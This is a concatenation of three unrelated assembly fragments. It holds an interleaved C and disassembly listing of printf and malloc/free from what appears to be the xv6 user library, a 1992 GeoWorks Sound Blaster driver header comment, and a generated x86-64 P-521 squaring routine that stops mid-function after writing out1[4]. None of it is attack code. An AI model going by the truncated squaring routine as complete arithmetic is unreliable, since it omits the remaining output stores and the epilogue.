3d6: eb db jmp 3b3 <printf+0x2c>
if(c == 'd'){
3d8: 83 f8 64 cmp $0x64,%eax
3db: 74 49 je 426 <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
3dd: 83 f8 78 cmp $0x78,%eax
3e0: 0f 94 c1 sete %cl
3e3: 83 f8 70 cmp $0x70,%eax
3e6: 0f 94 c2 sete %dl
3e9: 08 d1 or %dl,%cl
3eb: 75 63 jne 450 <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
3ed: 83 f8 73 cmp $0x73,%eax
3f0: 0f 84 84 00 00 00 je 47a <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3f6: 83 f8 63 cmp $0x63,%eax
3f9: 0f 84 b7 00 00 00 je 4b6 <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
3ff: 83 f8 25 cmp $0x25,%eax
402: 0f 84 cc 00 00 00 je 4d4 <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
408: ba 25 00 00 00 mov $0x25,%edx
40d: 8b 45 08 mov 0x8(%ebp),%eax
410: e8 d8 fe ff ff call 2ed <putc>
putc(fd, c);
415: 89 fa mov %edi,%edx
417: 8b 45 08 mov 0x8(%ebp),%eax
41a: e8 ce fe ff ff call 2ed <putc>
}
state = 0;
41f: be 00 00 00 00 mov $0x0,%esi
424: eb 8d jmp 3b3 <printf+0x2c>
printint(fd, *ap, 10, 1);
426: 8b 7d e4 mov -0x1c(%ebp),%edi
429: 8b 17 mov (%edi),%edx
42b: 83 ec 0c sub $0xc,%esp
42e: 6a 01 push $0x1
430: b9 0a 00 00 00 mov $0xa,%ecx
435: 8b 45 08 mov 0x8(%ebp),%eax
438: e8 ca fe ff ff call 307 <printint>
ap++;
43d: 83 c7 04 add $0x4,%edi
440: 89 7d e4 mov %edi,-0x1c(%ebp)
443: 83 c4 10 add $0x10,%esp
state = 0;
446: be 00 00 00 00 mov $0x0,%esi
44b: e9 63 ff ff ff jmp 3b3 <printf+0x2c>
printint(fd, *ap, 16, 0);
450: 8b 7d e4 mov -0x1c(%ebp),%edi
453: 8b 17 mov (%edi),%edx
455: 83 ec 0c sub $0xc,%esp
458: 6a 00 push $0x0
45a: b9 10 00 00 00 mov $0x10,%ecx
45f: 8b 45 08 mov 0x8(%ebp),%eax
462: e8 a0 fe ff ff call 307 <printint>
ap++;
467: 83 c7 04 add $0x4,%edi
46a: 89 7d e4 mov %edi,-0x1c(%ebp)
46d: 83 c4 10 add $0x10,%esp
state = 0;
470: be 00 00 00 00 mov $0x0,%esi
475: e9 39 ff ff ff jmp 3b3 <printf+0x2c>
s = (char*)*ap;
47a: 8b 45 e4 mov -0x1c(%ebp),%eax
47d: 8b 30 mov (%eax),%esi
ap++;
47f: 83 c0 04 add $0x4,%eax
482: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
485: 85 f6 test %esi,%esi
487: 75 28 jne 4b1 <printf+0x12a>
s = "(null)";
489: be 9e 06 00 00 mov $0x69e,%esi
48e: 8b 7d 08 mov 0x8(%ebp),%edi
491: eb 0d jmp 4a0 <printf+0x119>
putc(fd, *s);
493: 0f be d2 movsbl %dl,%edx
496: 89 f8 mov %edi,%eax
498: e8 50 fe ff ff call 2ed <putc>
s++;
49d: 83 c6 01 add $0x1,%esi
while(*s != 0){
4a0: 0f b6 16 movzbl (%esi),%edx
4a3: 84 d2 test %dl,%dl
4a5: 75 ec jne 493 <printf+0x10c>
state = 0;
4a7: be 00 00 00 00 mov $0x0,%esi
4ac: e9 02 ff ff ff jmp 3b3 <printf+0x2c>
4b1: 8b 7d 08 mov 0x8(%ebp),%edi
4b4: eb ea jmp 4a0 <printf+0x119>
putc(fd, *ap);
4b6: 8b 7d e4 mov -0x1c(%ebp),%edi
4b9: 0f be 17 movsbl (%edi),%edx
4bc: 8b 45 08 mov 0x8(%ebp),%eax
4bf: e8 29 fe ff ff call 2ed <putc>
ap++;
4c4: 83 c7 04 add $0x4,%edi
4c7: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
4ca: be 00 00 00 00 mov $0x0,%esi
4cf: e9 df fe ff ff jmp 3b3 <printf+0x2c>
putc(fd, c);
4d4: 89 fa mov %edi,%edx
4d6: 8b 45 08 mov 0x8(%ebp),%eax
4d9: e8 0f fe ff ff call 2ed <putc>
state = 0;
4de: be 00 00 00 00 mov $0x0,%esi
4e3: e9 cb fe ff ff jmp 3b3 <printf+0x2c>
}
}
}
4e8: 8d 65 f4 lea -0xc(%ebp),%esp
4eb: 5b pop %ebx
4ec: 5e pop %esi
4ed: 5f pop %edi
4ee: 5d pop %ebp
4ef: c3 ret
000004f0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 57 push %edi
4f4: 56 push %esi
4f5: 53 push %ebx
4f6: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
4f9: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4fc: a1 48 09 00 00 mov 0x948,%eax
501: eb 02 jmp 505 <free+0x15>
503: 89 d0 mov %edx,%eax
505: 39 c8 cmp %ecx,%eax
507: 73 04 jae 50d <free+0x1d>
509: 39 08 cmp %ecx,(%eax)
50b: 77 12 ja 51f <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
50d: 8b 10 mov (%eax),%edx
50f: 39 c2 cmp %eax,%edx
511: 77 f0 ja 503 <free+0x13>
513: 39 c8 cmp %ecx,%eax
515: 72 08 jb 51f <free+0x2f>
517: 39 ca cmp %ecx,%edx
519: 77 04 ja 51f <free+0x2f>
51b: 89 d0 mov %edx,%eax
51d: eb e6 jmp 505 <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
51f: 8b 73 fc mov -0x4(%ebx),%esi
522: 8d 3c f1 lea (%ecx,%esi,8),%edi
525: 8b 10 mov (%eax),%edx
527: 39 d7 cmp %edx,%edi
529: 74 19 je 544 <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
52b: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
52e: 8b 50 04 mov 0x4(%eax),%edx
531: 8d 34 d0 lea (%eax,%edx,8),%esi
534: 39 ce cmp %ecx,%esi
536: 74 1b je 553 <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
538: 89 08 mov %ecx,(%eax)
freep = p;
53a: a3 48 09 00 00 mov %eax,0x948
}
53f: 5b pop %ebx
540: 5e pop %esi
541: 5f pop %edi
542: 5d pop %ebp
543: c3 ret
bp->s.size += p->s.ptr->s.size;
544: 03 72 04 add 0x4(%edx),%esi
547: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
54a: 8b 10 mov (%eax),%edx
54c: 8b 12 mov (%edx),%edx
54e: 89 53 f8 mov %edx,-0x8(%ebx)
551: eb db jmp 52e <free+0x3e>
p->s.size += bp->s.size;
553: 03 53 fc add -0x4(%ebx),%edx
556: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
559: 8b 53 f8 mov -0x8(%ebx),%edx
55c: 89 10 mov %edx,(%eax)
55e: eb da jmp 53a <free+0x4a>
00000560 <morecore>:
static Header*
morecore(uint nu)
{
560: 55 push %ebp
561: 89 e5 mov %esp,%ebp
563: 53 push %ebx
564: 83 ec 04 sub $0x4,%esp
567: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
569: 3d ff 0f 00 00 cmp $0xfff,%eax
56e: 77 05 ja 575 <morecore+0x15>
nu = 4096;
570: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
575: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
57c: 83 ec 0c sub $0xc,%esp
57f: 50 push %eax
580: e8 38 fd ff ff call 2bd <sbrk>
if(p == (char*)-1)
585: 83 c4 10 add $0x10,%esp
588: 83 f8 ff cmp $0xffffffff,%eax
58b: 74 1c je 5a9 <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
58d: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
590: 83 c0 08 add $0x8,%eax
593: 83 ec 0c sub $0xc,%esp
596: 50 push %eax
597: e8 54 ff ff ff call 4f0 <free>
return freep;
59c: a1 48 09 00 00 mov 0x948,%eax
5a1: 83 c4 10 add $0x10,%esp
}
5a4: 8b 5d fc mov -0x4(%ebp),%ebx
5a7: c9 leave
5a8: c3 ret
return 0;
5a9: b8 00 00 00 00 mov $0x0,%eax
5ae: eb f4 jmp 5a4 <morecore+0x44>
000005b0 <malloc>:
void*
malloc(uint nbytes)
{
5b0: 55 push %ebp
5b1: 89 e5 mov %esp,%ebp
5b3: 53 push %ebx
5b4: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
5b7: 8b 45 08 mov 0x8(%ebp),%eax
5ba: 8d 58 07 lea 0x7(%eax),%ebx
5bd: c1 eb 03 shr $0x3,%ebx
5c0: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
5c3: 8b 0d 48 09 00 00 mov 0x948,%ecx
5c9: 85 c9 test %ecx,%ecx
5cb: 74 04 je 5d1 <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
5cd: 8b 01 mov (%ecx),%eax
5cf: eb 4d jmp 61e <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
5d1: c7 05 48 09 00 00 4c movl $0x94c,0x948
5d8: 09 00 00
5db: c7 05 4c 09 00 00 4c movl $0x94c,0x94c
5e2: 09 00 00
base.s.size = 0;
5e5: c7 05 50 09 00 00 00 movl $0x0,0x950
5ec: 00 00 00
base.s.ptr = freep = prevp = &base;
5ef: b9 4c 09 00 00 mov $0x94c,%ecx
5f4: eb d7 jmp 5cd <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
5f6: 39 da cmp %ebx,%edx
5f8: 74 1a je 614 <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
5fa: 29 da sub %ebx,%edx
5fc: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
5ff: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
602: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
605: 89 0d 48 09 00 00 mov %ecx,0x948
return (void*)(p + 1);
60b: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
60e: 83 c4 04 add $0x4,%esp
611: 5b pop %ebx
612: 5d pop %ebp
613: c3 ret
prevp->s.ptr = p->s.ptr;
614: 8b 10 mov (%eax),%edx
616: 89 11 mov %edx,(%ecx)
618: eb eb jmp 605 <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
61a: 89 c1 mov %eax,%ecx
61c: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
61e: 8b 50 04 mov 0x4(%eax),%edx
621: 39 da cmp %ebx,%edx
623: 73 d1 jae 5f6 <malloc+0x46>
if(p == freep)
625: 39 05 48 09 00 00 cmp %eax,0x948
62b: 75 ed jne 61a <malloc+0x6a>
if((p = morecore(nunits)) == 0)
62d: 89 d8 mov %ebx,%eax
62f: e8 2c ff ff ff call 560 <morecore>
634: 85 c0 test %eax,%eax
636: 75 e2 jne 61a <malloc+0x6a>
return 0;
638: b8 00 00 00 00 mov $0x0,%eax
63d: eb cf jmp 60e <malloc+0x5e>
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Error Checking Specific Definitions
FILE: soundblasterError.asm
AUTHOR: Todd Stumpf, Aug 17, 1992
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 8/17/92 Initial revision
DESCRIPTION:
This file contains all the code that is only used during the
error checking version of the driver.
$Id: soundblasterError.asm,v 1.2.12.1 93/05/11 05:44:27 steve Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
|
SECTION .text
GLOBAL square_p521
square_p521:
sub rsp, 0x128 ; last 0x30 (6) for Caller - save regs
mov [ rsp + 0xf8 ], rbx; saving to stack
mov [ rsp + 0x100 ], rbp; saving to stack
mov [ rsp + 0x108 ], r12; saving to stack
mov [ rsp + 0x110 ], r13; saving to stack
mov [ rsp + 0x118 ], r14; saving to stack
mov [ rsp + 0x120 ], r15; saving to stack
mov rax, [ rsi + 0x40 ]; load m64 x1 to register64
imul r10, rax, 0x2; x2 <- x1 * 0x2
mov r11, [ rsi + 0x38 ]; load m64 x4 to register64
imul r10, r10, 0x2; x10001 <- x2 * 0x2
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx rbx, rbp, r10; x74, x73<- arg1[1] * x10001
imul r12, r11, 0x2; x5 <- x4 * 0x2
imul r12, r12, 0x2; x10003 <- x5 * 0x2
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx r13, r14, [ rsi + 0x0 ]; x106, x105<- arg1[0] * arg1[0]
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx r15, rcx, r12; x62, x61<- arg1[2] * x10003
mov rdx, [ rsi + 0x30 ]; load m64 x7 to register64
imul r8, rdx, 0x2; x8 <- x7 * 0x2
mov r9, [ rsi + 0x28 ]; load m64 x10 to register64
imul r8, r8, 0x2; x10005 <- x8 * 0x2
mov [ rsp + 0x0 ], rdi; spilling out1 to mem
mov rdi, rdx; preserving value of x7 into a new reg
mov rdx, [ rsi + 0x18 ]; saving arg1[3] in rdx.
mov [ rsp + 0x8 ], rax; spilling x1 to mem
mov [ rsp + 0x10 ], r11; spilling x4 to mem
mulx rax, r11, r8; x52, x51<- arg1[3] * x10005
imul rdx, r9, 0x2; x11 <- x10 * 0x2
imul rdx, rdx, 0x2; x10007 <- x11 * 0x2
mov [ rsp + 0x18 ], r10; spilling x10001 to mem
mulx rdx, r10, [ rsi + 0x20 ]; x44, x43<- arg1[4] * x10007
add r10, r11; could be done better, if r0 has been u8 as well
adcx rax, rdx
add r10, rcx; could be done better, if r0 has been u8 as well
adcx r15, rax
xor rcx, rcx
adox r10, rbp
adox rbx, r15
adcx r10, r14
adcx r13, rbx
imul rbp, [ rsi + 0x8 ], 0x2; x16 <- arg1[1] * 0x2
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx rbp, r14, rbp; x104, x103<- arg1[0] * x16
mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx
mulx r11, rax, r12; x50, x49<- arg1[3] * x10003
mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx
mulx r15, rbx, r8; x42, x41<- arg1[4] * x10005
imul r9, r9, 0x2; x10006 <- x10 * 0x2
mov rdx, r10; x123, copying x119 here, cause x119 is needed in a reg for other than x123, namely all: , x125, x123, size: 2
shrd rdx, r13, 58; x123 <- x121||x119 >> 58
mov rcx, rdx; preserving value of x123 into a new reg
mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx.
mov [ rsp + 0x20 ], rdi; spilling x7 to mem
mov [ rsp + 0x28 ], rbp; spilling x104 to mem
mulx rdi, rbp, [ rsp + 0x18 ]; x60, x59<- arg1[2] * x10001
mov rdx, r9; x10006 to rdx
mulx rdx, r9, [ rsi + 0x28 ]; x36, x35<- arg1[5] * x10006
test al, al
adox r9, rbx
adox r15, rdx
adcx r9, rax
mov rax, -0x2 ; moving imm to reg
inc rax; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r9, rbp
setc bl; spill CF x243 to reg (rbx)
clc;
adcx r9, r14
setc r14b; spill CF x251 to reg (r14)
clc;
adcx r9, rcx
setc cl; spill CF x255 to reg (rcx)
seto bpl; spill OF x247 to reg (rbp)
imul rdx, [ rsi + 0x10 ], 0x2; x15 <- arg1[2] * 0x2
sar bl, 1
adcx r11, r15
sar bpl, 1
adcx rdi, r11
sar r14b, 1
adcx rdi, [ rsp + 0x28 ]
mulx r15, rbx, [ rsi + 0x0 ]; x102, x101<- arg1[0] * x15
shr r13, 58; x124 <- x121>> 58
sar cl, 1
adcx r13, rdi
mov rbp, r9; x258, copying x254 here, cause x254 is needed in a reg for other than x258, namely all: , x260, x258, size: 2
shrd rbp, r13, 58; x258 <- x256||x254 >> 58
mov r14, rdx; preserving value of x15 into a new reg
mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx.
mulx rcx, r11, r12; x40, x39<- arg1[4] * x10003
mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx
mulx rdi, rax, [ rsp + 0x18 ]; x48, x47<- arg1[3] * x10001
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mov [ rsp + 0x30 ], r15; spilling x102 to mem
mov [ rsp + 0x38 ], rdi; spilling x48 to mem
mulx r15, rdi, [ rsi + 0x8 ]; x88, x87<- arg1[1] * arg1[1]
mov rdx, r8; x10005 to rdx
mulx rdx, r8, [ rsi + 0x28 ]; x34, x33<- arg1[5] * x10005
mov [ rsp + 0x40 ], r15; spilling x88 to mem
imul r15, [ rsi + 0x40 ], 0x2; x3 <- arg1[8] * 0x2
add r8, r11; could be done better, if r0 has been u8 as well
adcx rcx, rdx
xor r11, r11
adox r8, rax
adcx r8, rdi
setc al; spill CF x231 to reg (rax)
clc;
adcx r8, rbx
setc bl; spill CF x235 to reg (rbx)
clc;
adcx r8, rbp
adox rcx, [ rsp + 0x38 ]
setc bpl; spill CF x262 to reg (rbp)
shr r13, 58; x259 <- x256>> 58
imul rdi, [ rsi + 0x18 ], 0x2; x14 <- arg1[3] * 0x2
mov rdx, 0x3ffffffffffffff ; moving imm to reg
mov r11, r8; x267, copying x261 here, cause x261 is needed in a reg for other than x267, namely all: , x267, x265, size: 2
and r11, rdx; x267 <- x261&0x3ffffffffffffff
sar al, 1
adcx rcx, [ rsp + 0x40 ]
mov rax, rdx; preserving value of 0x3ffffffffffffff into a new reg
mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx.
mov [ rsp + 0x48 ], r11; spilling x267 to mem
mov [ rsp + 0x50 ], r15; spilling x3 to mem
mulx r11, r15, [ rsp + 0x18 ]; x38, x37<- arg1[4] * x10001
sar bl, 1
adcx rcx, [ rsp + 0x30 ]
sar bpl, 1
adcx r13, rcx
shrd r8, r13, 58; x265 <- x263||x261 >> 58
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx r14, rbx, r14; x86, x85<- arg1[1] * x15
shr r13, 58; x266 <- x263>> 58
and r10, rax; x125 <- x119&0x3ffffffffffffff
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx rbp, rcx, rdi; x100, x99<- arg1[0] * x14
mov rdx, [ rsi + 0x28 ]; arg1[5] to rdx
mov [ rsp + 0x58 ], r10; spilling x125 to mem
mulx rax, r10, r12; x32, x31<- arg1[5] * x10003
imul rdx, [ rsp + 0x20 ], 0x2; x10004 <- x7 * 0x2
mov [ rsp + 0x60 ], r13; spilling x266 to mem
mulx rdx, r13, [ rsi + 0x30 ]; x28, x27<- arg1[6] * x10004
test al, al
adox r13, r10
adox rax, rdx
adcx r13, r15
adcx r11, rax
xor r15, r15
adox r13, rbx
adox r14, r11
adcx r13, rcx
adcx rbp, r14
add r13, r8; could be done better, if r0 has been u8 as well
adcx rbp, [ rsp + 0x60 ]
mov r8, r13; x272, copying x268 here, cause x268 is needed in a reg for other than x272, namely all: , x274, x272, size: 2
shrd r8, rbp, 58; x272 <- x270||x268 >> 58
mov rdx, [ rsi + 0x28 ]; arg1[5] to rdx
mulx rbx, rcx, [ rsp + 0x18 ]; x30, x29<- arg1[5] * x10001
imul rdx, [ rsi + 0x20 ], 0x2; x13 <- arg1[4] * 0x2
mulx r10, rax, [ rsi + 0x0 ]; x98, x97<- arg1[0] * x13
mov r11, rdx; preserving value of x13 into a new reg
mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx.
mulx r14, r15, [ rsi + 0x10 ]; x72, x71<- arg1[2] * arg1[2]
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mov [ rsp + 0x68 ], r10; spilling x98 to mem
mov [ rsp + 0x70 ], r14; spilling x72 to mem
mulx r10, r14, rdi; x84, x83<- arg1[1] * x14
mov rdx, r12; x10003 to rdx
mulx rdx, r12, [ rsi + 0x30 ]; x26, x25<- arg1[6] * x10003
test al, al
adox r12, rcx
adcx r12, r15
setc cl; spill CF x195 to reg (rcx)
clc;
adcx r12, r14
setc r15b; spill CF x199 to reg (r15)
clc;
adcx r12, rax
setc al; spill CF x203 to reg (rax)
clc;
adcx r12, r8
adox rbx, rdx
setc r8b; spill CF x276 to reg (r8)
shr rbp, 58; x273 <- x270>> 58
sar cl, 1
adcx rbx, [ rsp + 0x70 ]
sar r15b, 1
adcx r10, rbx
sar al, 1
adcx r10, [ rsp + 0x68 ]
sar r8b, 1
adcx rbp, r10
mov r14, r12; x279, copying x275 here, cause x275 is needed in a reg for other than x279, namely all: , x281, x279, size: 2
shrd r14, rbp, 58; x279 <- x277||x275 >> 58
imul rdx, [ rsi + 0x28 ], 0x2; x12 <- arg1[5] * 0x2
mulx rcx, r15, [ rsi + 0x0 ]; x96, x95<- arg1[0] * x12
mov rax, rdx; preserving value of x12 into a new reg
mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx.
mulx r8, rbx, r11; x82, x81<- arg1[1] * x13
mov rdx, [ rsi + 0x30 ]; arg1[6] to rdx
mov [ rsp + 0x78 ], rcx; spilling x96 to mem
mulx r10, rcx, [ rsp + 0x18 ]; x24, x23<- arg1[6] * x10001
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mov [ rsp + 0x80 ], r8; spilling x82 to mem
mulx rdi, r8, rdi; x70, x69<- arg1[2] * x14
imul rdx, [ rsp + 0x10 ], 0x2; x10002 <- x4 * 0x2
mov [ rsp + 0x88 ], rdi; spilling x70 to mem
mulx rdx, rdi, [ rsi + 0x38 ]; x22, x21<- arg1[7] * x10002
test al, al
adox rdi, rcx
adcx rdi, r8
setc cl; spill CF x179 to reg (rcx)
clc;
adcx rdi, rbx
setc bl; spill CF x183 to reg (rbx)
clc;
adcx rdi, r15
setc r15b; spill CF x187 to reg (r15)
clc;
adcx rdi, r14
adox r10, rdx
setc r14b; spill CF x283 to reg (r14)
imul r8, [ rsi + 0x30 ], 0x2; x9 <- arg1[6] * 0x2
sar cl, 1
adcx r10, [ rsp + 0x88 ]
sar bl, 1
adcx r10, [ rsp + 0x80 ]
mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx
mulx rcx, rbx, [ rsi + 0x18 ]; x58, x57<- arg1[3] * arg1[3]
sar r15b, 1
adcx r10, [ rsp + 0x78 ]
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mov [ rsp + 0x90 ], rcx; spilling x58 to mem
mulx r15, rcx, r11; x68, x67<- arg1[2] * x13
shr rbp, 58; x280 <- x277>> 58
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mov [ rsp + 0x98 ], r15; spilling x68 to mem
mov [ rsp + 0xa0 ], rcx; spilling x67 to mem
mulx r15, rcx, rax; x80, x79<- arg1[1] * x12
sar r14b, 1
adcx rbp, r10
mov rdx, [ rsi + 0x38 ]; arg1[7] to rdx
mulx r14, r10, [ rsp + 0x18 ]; x20, x19<- arg1[7] * x10001
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mov [ rsp + 0xa8 ], r9; spilling x254 to mem
mov [ rsp + 0xb0 ], r15; spilling x80 to mem
mulx r9, r15, r8; x94, x93<- arg1[0] * x9
mov rdx, rdi; x286, copying x282 here, cause x282 is needed in a reg for other than x286, namely all: , x286, x288, size: 2
shrd rdx, rbp, 58; x286 <- x284||x282 >> 58
test al, al
adox r10, rbx
adcx r10, [ rsp + 0xa0 ]
setc bl; spill CF x163 to reg (rbx)
clc;
adcx r10, rcx
setc cl; spill CF x167 to reg (rcx)
clc;
adcx r10, r15
setc r15b; spill CF x171 to reg (r15)
clc;
adcx r10, rdx
adox r14, [ rsp + 0x90 ]
setc dl; spill CF x290 to reg (rdx)
shr rbp, 58; x287 <- x284>> 58
sar bl, 1
adcx r14, [ rsp + 0x98 ]
sar cl, 1
adcx r14, [ rsp + 0xb0 ]
sar r15b, 1
adcx r9, r14
imul rbx, [ rsp + 0x8 ], 0x2; x10000 <- x1 * 0x2
sar dl, 1
adcx rbp, r9
mov rcx, r10; x293, copying x289 here, cause x289 is needed in a reg for other than x293, namely all: , x295, x293, size: 2
shrd rcx, rbp, 58; x293 <- x291||x289 >> 58
imul r15, [ rsi + 0x38 ], 0x2; x6 <- arg1[7] * 0x2
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx r14, r9, r8; x78, x77<- arg1[1] * x9
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mov [ rsp + 0xb8 ], r14; spilling x78 to mem
mov [ rsp + 0xc0 ], rcx; spilling x293 to mem
mulx r14, rcx, rax; x66, x65<- arg1[2] * x12
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mov [ rsp + 0xc8 ], r14; spilling x66 to mem
mov [ rsp + 0xd0 ], r9; spilling x77 to mem
mulx r14, r9, r15; x92, x91<- arg1[0] * x6
mov rdx, r11; x13 to rdx
mulx rdx, r11, [ rsi + 0x18 ]; x56, x55<- arg1[3] * x13
xchg rdx, rbx; x10000, swapping with x56, which is currently in rdx
mov [ rsp + 0xd8 ], r14; spilling x92 to mem
mulx rdx, r14, [ rsi + 0x40 ]; x18, x17<- arg1[8] * x10000
test al, al
adox r14, r11
adcx r14, rcx
setc cl; spill CF x147 to reg (rcx)
clc;
adcx r14, [ rsp + 0xd0 ]
setc r11b; spill CF x151 to reg (r11)
clc;
adcx r14, r9
setc r9b; spill CF x155 to reg (r9)
clc;
adcx r14, [ rsp + 0xc0 ]
adox rbx, rdx
setc dl; spill CF x297 to reg (rdx)
shr rbp, 58; x294 <- x291>> 58
sar cl, 1
adcx rbx, [ rsp + 0xc8 ]
sar r11b, 1
adcx rbx, [ rsp + 0xb8 ]
sar r9b, 1
adcx rbx, [ rsp + 0xd8 ]
mov cl, dl; preserving value of x297 into a new reg
mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx.
mulx r15, r11, r15; x76, x75<- arg1[1] * x6
sar cl, 1
adcx rbp, rbx
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx r9, rcx, [ rsp + 0x50 ]; x90, x89<- arg1[0] * x3
mov rdx, r14; x300, copying x296 here, cause x296 is needed in a reg for other than x300, namely all: , x300, x302, size: 2
shrd rdx, rbp, 58; x300 <- x298||x296 >> 58
mov rbx, rdx; preserving value of x300 into a new reg
mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx.
mov [ rsp + 0xe0 ], r9; spilling x90 to mem
mulx r8, r9, r8; x64, x63<- arg1[2] * x9
mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx
mov [ rsp + 0xe8 ], r15; spilling x76 to mem
mov [ rsp + 0xf0 ], r8; spilling x64 to mem
mulx r15, r8, [ rsi + 0x20 ]; x46, x45<- arg1[4] * arg1[4]
mov rdx, rax; x12 to rdx
mulx rdx, rax, [ rsi + 0x18 ]; x54, x53<- arg1[3] * x12
test al, al
adox r8, rax
adcx r8, r9
setc r9b; spill CF x131 to reg (r9)
clc;
adcx r8, r11
setc r11b; spill CF x135 to reg (r11)
clc;
adcx r8, rcx
setc cl; spill CF x139 to reg (rcx)
clc;
adcx r8, rbx
adox rdx, r15
movzx r9, r9b
lea rdx, [ r9 + rdx ]
mov r9, [ rsp + 0xf0 ]
lea rdx, [r9+rdx]
setc bl; spill CF x304 to reg (rbx)
shr rbp, 58; x301 <- x298>> 58
sar r11b, 1
adcx rdx, [ rsp + 0xe8 ]
sar cl, 1
adcx rdx, [ rsp + 0xe0 ]
sar bl, 1
adcx rbp, rdx
mov r15, r8; x307, copying x303 here, cause x303 is needed in a reg for other than x307, namely all: , x307, x309, size: 2
shrd r15, rbp, 57; x307 <- x305||x303 >> 57
shr rbp, 57; x308 <- x305>> 57
xor rax, rax
adox r15, [ rsp + 0x58 ]
adox rbp, rax
mov r9, 0x3ffffffffffffff ; moving imm to reg
mov r11, [ rsp + 0xa8 ]; x260, copying x254 here, cause x254 is needed in a reg for other than x260, namely all: , x260, size: 1
and r11, r9; x260 <- x254&0x3ffffffffffffff
mov rcx, r15; x313, copying x310 here, cause x310 is needed in a reg for other than x313, namely all: , x313, x314, size: 2
shrd rcx, rbp, 58; x313 <- x312||x310 >> 58
lea rcx, [ rcx + r11 ]
mov rbx, rcx; x316, copying x315 here, cause x315 is needed in a reg for other than x316, namely all: , x316, x317, size: 2
shr rbx, 58; x316 <- x315>> 58
and r12, r9; x281 <- x275&0x3ffffffffffffff
add rbx, [ rsp + 0x48 ]
and r14, r9; x302 <- x296&0x3ffffffffffffff
mov rdx, [ rsp + 0x0 ]; load m64 out1 to register64
mov [ rdx + 0x20 ], r12; out1[4] = x281
